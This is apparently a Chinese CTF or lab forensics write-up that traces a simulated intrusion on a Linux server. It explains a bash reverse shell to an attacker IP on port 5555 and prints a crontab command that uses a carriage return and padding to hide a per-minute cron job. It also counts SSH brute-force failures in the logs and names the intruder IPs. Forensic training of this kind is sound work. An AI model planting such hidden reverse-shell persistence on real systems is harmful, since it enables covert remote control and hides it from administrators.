任务环境说明:
√ 服务器场景:Server2216(开放链接)
√ 用户名:root密码:123456
1. 黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,找出启动异常进程的脚本,并将其绝对路径作为Flag值提交;
首先认真审题,发现是找出启动异常进程的脚本,而不是异常脚本 本体
我们先看看crontab 看看有无东西
没东西
还可以看看 /etc/rc.local文件看看是否有开机自启动
发现也没什么东西
到这里我的思路断了,但是还有一个办法,那就是查看隐藏自启动程序
crontab -e
发现了一个 1.sh文件
我们看一下这个1.sh是什么东西
这就可以确定了是异常程序了
crontab -l 查看的内容其实是查看一个文件的内容
这个文件在 /var/spool/cron/里面
先cd进去看看
这个不是目录也不是cat能看到的
vim试一下
发现跟 crontab -e 的内容是一模一样的
那这个启动恶意程序的脚本路径就是
/var/spool/cron/root
2. 黑客通过网络攻入本地服务器,通过特殊手段在系统中建立了多个异常进程,将恶意脚本的源文件所在的绝对路径作为Flag值提交; (多个路径之间以英文逗号分割,如:/etc/proc,/etc/my.cnf)
首先我们在当前登录的用户目录(也就是root)下发现了1.sh和2.sh
这1.sh是一个简单的反向 shell 命令,通常用于在目标机器上建立与攻击者之间的网络连接。
解释如下:
bash:这是运行 Bash Shell 的命令。
-i:表示将 Bash Shell 运行在交互模式下,以便与用户进行交互。
&:这是重定向符号,用于将输出重定向到另一个地方。
/dev/tcp/192.168.184.145/5555:这是一个特殊路径,它代表了一个 TCP 网络连接。其中,192.168.184.145 是攻击者的 IP 地址,5555 是攻击者监听的端口号。
0>&1:这是将标准输入(文件描述符 0)重定向到标准输出(文件描述符 1)。这样,通过网络连接输入到目标机器的数据将被发送到攻击者的主机。
2.sh的内容是:
- crontab -l:这个部分表示列出当前用户的 crontab 内容。
- printf "* * * * * /root/1.sh;\rno crontab for whoami%100c\n":这是一个 printf 命令,用于生成要添加到 crontab 的内容。其中,* * * * * 表示每分钟执行一次,/root/1.sh 是要执行的脚本路径。whoami 是一个命令,用于获取当前用户的用户名。%100c 是格式化字符串,表示输出 100 个空格。
- |:这个符号是管道符,用于将前一个命令的输出作为后一个命令的输入。
- crontab -:这个部分将管道符前面的命令的输出作为新的 crontab 内容,并将其设置为当前用户的 crontab。
总体来说,这个命令的作用是将一个指定脚本添加到当前用户的 crontab 中,并在 crontab 文件末尾添加一行文本表示未找到当前用户的 crontab。
这也就是为什么我们直接crontab -l 发现没东西了
所以这一题的flag是
/root/2.sh./root/1.sh,/var/spool/cron/root
3. 黑客在服务器某处存放了多个木马程序,请你找到此木马程序并清除木马,将木马建立连接所使用的端口号作为Flag值提交;
在1.sh中,我们发现了
这么一个反弹shell
那就直接交 5555就行了
4. 黑客通过网络攻入本地服务器,将黑客暴力破解服务器的次数作为Flag值提交;
我们先 ss -tnl 查看一下这个服务器对外开放的端口
ss 命令:ss 命令是 netstat 的替代工具,功能更强大且更高效。以下命令将显示所有活动的网络连接和监听的端口:
ss -tnl
就可以看到我们这个靶机开放的端口有80和22
其中80端口是一个web界面,而22端口是ssh服务的端口号
我们再看看ssh的配置文件,sshd下划线config中有一个PermitRootLogin
这个就是是否开启ssh远程连接的配置
cat /ect/ssh/sshd下划线config |grep PermitRootlogin
可以看到,是开启了
那就有可能涉及到ssh爆破登录
ssh的日志文件在/var/log/secure文件里面,在一般情况下,linux日志都是按天来分割的,所以文件名可能是以secure+日期
爆破登录必定会有很多的失败次数
ssh登陆失败会回显 Failed password,成功是返回Accepted,我们只需要筛选失败的就行了
用以下命令:
grep -o "Failed password" secure*|uniq -c
- grep -o "Failed password" secure*:这个部分使用 grep 命令来在以 "secure" 开头的文件中搜索字符串 "Failed password"。选项 -o 表示只输出匹配的部分,而不是整行内容。
- |:这个符号是管道符,用于将前一个命令的输出作为后一个命令的输入。
- uniq -c:这个部分使用 uniq 命令来统计并去重前一个命令的输出,并在每行前面显示重复次数。选项 -c 表示计数。
综合来说,这个命令的目的是在以 "secure" 开头的文件中搜索包含字符串 "Failed password" 的行,并统计每个独特的行出现的次数。输出结果将显示每个独特行的重复次数。这个命令通常用于查找安全日志中的登录失败记录,并统计它们的频率
发现这两个日期的登录次数最多了
grep "Failed password" secure-20200601看看详情
这就是爆破的痕迹
这个也是,把这两个爆破的次数加在一起就是flag
flag{1792}
5. 黑客攻入本地服务器,请你找出黑客成功暴力破解服务器的具体时间,将暴力破解的时间范围作为Flag值(提交的时间格式为:20220112 08:08:18-08:09:24)提交;
这个应该就是2021年那天的日志,我们直接将第一个失败时间到最后一个失败的时间交上去就行
grep "Failed password" secure-20210420 |head -1
这个命令是显示 secure-20210420 这个日志中 含有 Failed password 字符的第一行内容
grep "Failed password" secure-20210420 | tail -1
这个命令是查看日志文件中带有"Failed password"字符的最后一行内容
flag{20210420 03:28:39-03:43:24}
6. 黑客攻入本地服务器,请你找出黑客入侵服务器时所使用的IP地址,将IP地址作为Flag值(若存在多个IP,IP地址之间以英文逗号分割,如:10.1.1.1,20.1.1.2)提交。
入侵服务器时,那就是入侵成功了,那就得在ssh日志里面找Accepted的内容
发现192.168.184.1和192.168.184.146都用root用户登录过
再过滤查看一下这两个ip是否在爆破期间
首先 192.168.184.1在 再看看.146
发现这个也在
那就是多个IP地址
flag{192.168.184.1,192.168.184.146}